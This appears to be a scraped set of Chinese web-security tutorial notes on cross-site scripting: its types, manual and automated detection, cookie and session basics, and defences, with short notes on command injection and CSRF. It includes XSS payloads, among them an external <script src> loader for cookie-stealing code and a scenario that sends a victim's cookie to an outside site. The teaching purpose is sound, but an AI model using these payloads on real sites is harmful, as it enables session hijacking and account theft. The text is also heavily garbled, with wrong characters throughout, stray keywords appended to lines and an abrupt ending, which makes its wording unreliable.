XSS又叫CSS(Cross Site Scripting),即跨站脚本攻击,是最多见的Web应用程序安全漏洞之一。php
XSS是指攻击者在网页中嵌入客户端脚本,一般是JavaScript编写的恶意代码,当用户使用浏览器浏览嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行数据库
7.一、XSS原理解析浏览器
若是想要深刻研究XSS,必需要精通JavaScript。安全
当输入<script>alert(//xss)</script>时,将触发XSS攻击。服务器
攻击者能够在<script>与</script>之间输入JavaScript代码,实现一些特殊效果。cookie
在真实的攻击中,攻击者通常不只仅弹出一个框,网络
一般使用<script src="http://www.secbug.org/x.txt"></script>方式来加载外部脚本,dom
而在x.txt中存放着攻击者的恶意JavaScript代码,这段代码多是用来盗取用户的Cookie,xss
也多是监控键盘记录等恶意行为。函数
注:JavaScript加载外部的代码文件能够是任意扩展名的(无扩展名也是能够的),
如<script src=“http://www.secbug.org/x.jpg”></script>,即便文件为图片扩展名x.jpg,
但只要其中包含JavaScript代码就会被执行。
7.二、XSS类型
反射型、存储型、DOM型
7.2.一、反射型XSS
反射型XSS也被称为非持久性XSS,是如今最容易出现的一种XSS漏洞。
反射型xss和dom-xss都须要在url加入js代码才可以触发。
当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,而后把带有XSS代码的数据发送到浏览器,浏览器解析到这段带有XSS代码的数据后,最终形成XSS漏洞。
function getCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for(var i=0; i<ca.length; i++) { var c = ca[i].trim(); if (c.indexOf(name)==0) return c.substring(name.length,c.length); } return ""; }
如下是攻击者利用反射型XSS漏洞能够以HIM身份登陆网站,可能的步骤
一、用户HIM是网站www.secbug.org的忠实粉丝,常常泡站内论坛
二、攻击者发现www.secbug.org/xss.php存在反射型XSS漏洞,而后精心狗仔JavaScript代码,来获取用户的Cookie发送到指定的站点www.xxser.com。
三、攻击者将带有反射型XSS漏洞的URL经过站内信发给用户HIM,站内信为一些诱惑信息,目的是为了让后湖HIM点击连接。
四、假设用户HIM点击了带有XSS漏洞的URL,那么僵会把本身的COOkie以HIM的身份登陆www.xxser.com。
五、攻击者接收到用户HIM的会话Cookie,能够直接利用Cookie以HIM的身份登陆www.secbug.org,,从而得到用户HIM的敏感信息。
7.2.二、存储型XSS
存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本,存入了数据库,再取出来,致使的xss
容许用户存储数据的Web应用程序均可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器接收并存储,当攻击者再次访问某个页面时,这段xss代码被程序读出来响应给浏览器,形成XSS跨站攻击,这就是存储型XSS。存储型XSS与反射型XSS和DOM型XSS的最大区别在于,不须要依靠用户手动去触发执行。
存储型XSS场景
在测试是否存在XSS时,首先须要肯定输入点和输出点,例如,咱们要在留言内容上测试XSS漏洞,首先就要去寻找留言内容输出的地方是在标签内仍是在标签属性内,或者在其余地方,若是输出的数据在属性内,那么XSS代码是不会被执行的,如:
<input type="text" name="content" value="<script>alert(1)</scritp>"/>
以上JavaScript代码虽然成功的插入到HTML中,但却没法执行,由于XSS代码出如今value属性中,被当作值来处理,最终浏览器解析HTML是,将会把数据以文本的形式输出在网页中。
知道了输出点以后就能够根据相应的标签狗仔HTML代码来闭合,插入XSS代码: "/><script> alert(1)</script>,最终在HTML中文档为:
<input type="text" name="content" value=""/ ><script>alert(1)</scritp>"/>
模糊测试方案
<script>alert(document.cookie)</script>
"/><script>alert(document.cookie)</script>
</ttextarea>'"<script>alert(document.cookie)</script>
DOM型XSS
全称为Document Object Model,即文档对象模型,DOM一般用于表明在HTML、XHTML、XML中的对象。DOM提供HTML文档中全部的元素的位置,提供文档结构化表示,而且定义了如何经过脚原本访问文档结构。
他也属于反射型xss的一种(2016.3.16修改,domxss取决于输出位置,并不取决于输出环境,所以domxss既有多是反射型的,也有多是存储型的),简单去理解就是由于他输出点在DOM,因此在道哥的《白帽子讲Web安全里》也有详细介绍。dom - xss是经过url传入参数去控制触发的。)
DOM规定以下:
整个文档是一个文档节点;
每一个HTML标签是一个元素节点;
包含在HTML元素中的文本是一个文本节点;
每个HTML属性是一个属性节点;
节点与节点之间都有等级关系。
7.三、检测XSS
7.3.一、人工检测
考虑哪里有输入,输入的数据在什么地方输出。
手工检测注意选择有特殊意义的字符,这样可以快速检测是否存在XSSS。
在测试某输入框是否存在XSS漏洞时,不要直接输入XSS跨站语句测试,应该一步一步地进行,这样更有利于测试:
一、得知输出位置
输入一些敏感字符,例如 < > " ' ( )等,在提交请求后,看HTML源代码,看这些输入是否被转义。
二、没法得知输出位置
在<div>标签:<div>XSS Test </div>
在<input>标签:<input type="text" name="content" value="XSS Test"/>
这种状况,一般会采用输入 "/> XSS Test 来测试
7.3.二、全自动检测XSS
利用工具进行检测,如Burp Suite 等,也有专门的XSSER、XSSF进行扫描。
7.四、XSS高级利用
危害:
盗取用户Cookie
修改页面内容
网站挂马
利用网站重定向
XSS蠕虫
7.4.一、XSS会话劫持
一、Cookie简介
Cookie是可以让网站服务器把少许文本数据存储到客户端的硬盘、内存,或是从客户端的硬盘、内存读取数据的一种技术。
HTTP是无状态的,Web服务器没法区分请求是否来自同一个浏览器,,Cookie是Web服务器用于标识用户、维护会话。
当你浏览某个网站是,该网站可能向你的电脑硬盘写入一个文件,记录你的ID、密码、停留时间等信息,这个文件就是Cookie,
当你第二次访问这个网站时,浏览器会自动检测你的硬盘,并将存储在本地的Cookie发送给网站,这样网站能够作出响应的动做,、
如,自动登陆登。
Cookie按照在客户端的存储位置,分为内存Cookie和硬盘Cookie。内存Cookie由浏览器维护,保护在内存中,浏览器关闭后消失。
硬盘Cookie保存在硬盘里,有一个过时时间,除非用户手动清理或到了过时时间,不然硬盘Cookie不会被删除,其存储时间是长期的,
因此Cookie也能够分为持久Cookie和非持久Cookie。
一个用户电脑上的Cookie可能存在多个,他们分别存储来自不一样网站的信息。
Cookie也存在限制,大多数浏览器支持最大4096B的Cookie,这样就限制了Cookie的大小最多也就只能在4K左右。
大多数浏览器只容许每一个站点存储20个Cookie,若是试图存储更多,则最旧的Cookie便会被丢弃。有些浏览器还会对全部站点的Cookie总数作出绝对限制,一般为300个。
二、Cookie格式
Cookie是一组K,V形式。
Set-Cookie:HTTP响应头,Web服务器经过此HTTP头向客户端发送Cookie
name=value:这是每一个Cookie均有的部分,用户能够经过name获取Cookie中存放的value,在字符串“name=value”中不存在分号,逗号和空格等字符;
expires=date:Expires肯定了Cookie的有效终止日期,且属性值date必须以特定的格式来书写“星期几,DD-MM-YY HH:MM:SS GMT”,其中GMT指格林尼治时间。
该变量可省,若是缺省,则COokie的属性值不会保存在用户的磁盘中,仅仅是保存在内存里,Cookie将随浏览器的关闭而消失。
domain=domain-name:Domain变量肯定了哪些Internet域中的Web服务器能够读取浏览器存储的Cookie,即只有来自这个域的页面才能使用Cookie中的信息。
若是缺省,值为改Web服务器的域名。
path=path:Path属性定义了Web服务器上那些路径下的页面能够获取服务器发送过来的Cookie。若是过Path属性值为“/”,则Web服务器上全部的WWW资源都可读取该Cookie。
若是缺省,值为Web服务器传给浏览器的资源路径名。
经过domain和path两个变量的设置,能够有效的控制Cookie文件被访问的范围。
Secure:在Cookie中标记该变量,代表只有当浏览器和Web Server之间通信协议为加密认证协议时,浏览器才向服务器提交相应的Cookie,当前只有HTTPS协议属于这种状况。
HttpOnly:禁止JavaScript读取。
Cookie信息通常都是加密的,普通用户看到只是一些毫无心义的字符串。
三、读写Cookie
HTTP的响应头:Set-Cookie头
四、JavaScript操做Cookie
经过Burp Suite拦截请求后,替换请求中的Cookie
或者经过Chrome的Console替换Cookie
五、SESSION
SESSION在计算机中,尤为是网络引用,被称为会话。
SESSION机制是一种服务器端的机制,服务器使用一中相似于散列表的结构表来保存信息。
Web中的SESSION是指用户在浏览某个网站时,从进入网站到浏览器关闭所通过的这段时间,也就是一次客户端与服务器端的对话,被称为SESSION,当关闭浏览器后,SESSION懂注销。
SEESION与Cookie的区别:Cookie将数据存储在客户端,SESSION将数据存储在服务端,仅仅在客户端存储一个ID。
7.五、修复XSS跨站漏洞
XSS跨站漏洞最终造成的缘由是对输入与输出没有严格的过滤,在页面执行JavaScript等客户端脚本。
7.5.二、HttpOnly
对防护XSS漏洞不起做用,主要是为了解决XSS漏洞后续的Cookie劫持攻击。
命令行漏洞
尽可能不要使用系统执行命令
在进入命令行函数/方法以前,变量必定要作好过滤,对敏感字符进行转义
在使用动态函数以前,确保使用的函数是指定的函数之一。
对PHP语言来讲,不能彻底控制的风险函数最好不要使用。
在防范以前确保输入是否可控。
文件包含漏洞
程序人员一般会把重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无再次编写,这种调用文件的过程通常会成为包含。
其余漏洞
CSRF(Cross-Site Request Forgery):跨站请求伪造,也称为One Click Attack或Session Riding
如何理解CSRF攻击:攻击者盗用了你的身份,以你的名义进行某些非法的操做。
CSRF攻击创建在浏览器与Web服务器的会话中;
欺骗用户访问URL